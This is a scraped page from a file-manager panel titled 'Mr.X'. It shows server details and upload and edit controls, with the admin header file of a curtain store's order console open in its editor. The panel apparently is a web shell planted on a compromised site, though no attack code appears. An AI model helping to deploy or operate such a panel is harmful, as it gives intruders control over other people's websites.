🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:admin_header.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Royal Curtain | Admin Console</title> <!-- Bootstrap 5 CSS --> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <!-- Font Awesome Icons --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet"> <!-- Custom Stylesheet --> <link href="../assets/css/style.css?v=1.2" rel="stylesheet"> </head> <body> <div class="admin-wrapper"> <!-- Sidebar --> <nav id="sidebar"> <div class="sidebar-header"> <a href="index.php" class="sidebar-logo brand-font d-flex align-items-center gap-2"> <img src="../assets/images/logo.jpg" alt="Logo" class="rounded-circle border border-warning border-1" style="height: 40px; width: 40px; object-fit: cover;"> <span>RC Admin</span> </a> </div> <ul class="list-unstyled components"> <li class="<?php echo basename($_SERVER['PHP_SELF']) == 'index.php' ? 'active' : ''; ?>"> <a href="index.php"><i class="fas fa-chart-line"></i> Dashboard</a> </li> <li class="<?php echo in_array(basename($_SERVER['PHP_SELF']), ['orders.php', 'order_detail.php', 'order_edit.php']) ? 'active' : ''; ?>"> <a href="orders.php"><i class="fas fa-shopping-cart"></i> Orders</a> </li> <li class="<?php echo in_array(basename($_SERVER['PHP_SELF']), ['testimonials.php', 'testimonial_edit.php']) ? 'active' : ''; ?>"> <a href="testimonials.php"><i class="fas fa-quote-left"></i> Testimonials</a> </li> <li class="<?php echo basename($_SERVER['PHP_SELF']) == 'settings.php' ? 'active' : ''; ?>"> <a href="settings.php"><i class="fas fa-cog"></i> Settings</a> </li> <li> <a href="../" target="_blank"><i class="fas fa-external-link-alt"></i> View Store</a> </li> </ul> </nav> <!-- Page Content --> <div id="content"> <!-- Top Header Navbar --> <div class="admin-navbar d-flex justify-content-between align-items-center"> <h4 class="mb-0 text-royal fw-bold"> <?php $curr_page = basename($_SERVER['PHP_SELF']); if ($curr_page == 'index.php') echo 'Dashboard Overview'; elseif ($curr_page == 'orders.php') echo 'Manage Orders'; elseif ($curr_page == 'order_detail.php') echo 'Order Details'; elseif ($curr_page == 'order_edit.php') echo 'Modify Order'; elseif ($curr_page == 'settings.php') echo 'System Settings'; else echo 'Order Management System'; ?> </h4> <div class="admin-profile d-flex align-items-center"> <span class="badge bg-warning text-dark me-2 font-monospace px-2 py-1">ADMIN MODE</span> <i class="fas fa-user-circle fa-2x text-secondary"></i> </div> </div> <div class="container-fluid px-0">
Save Changes
Cancel
Create New File
Create New Folder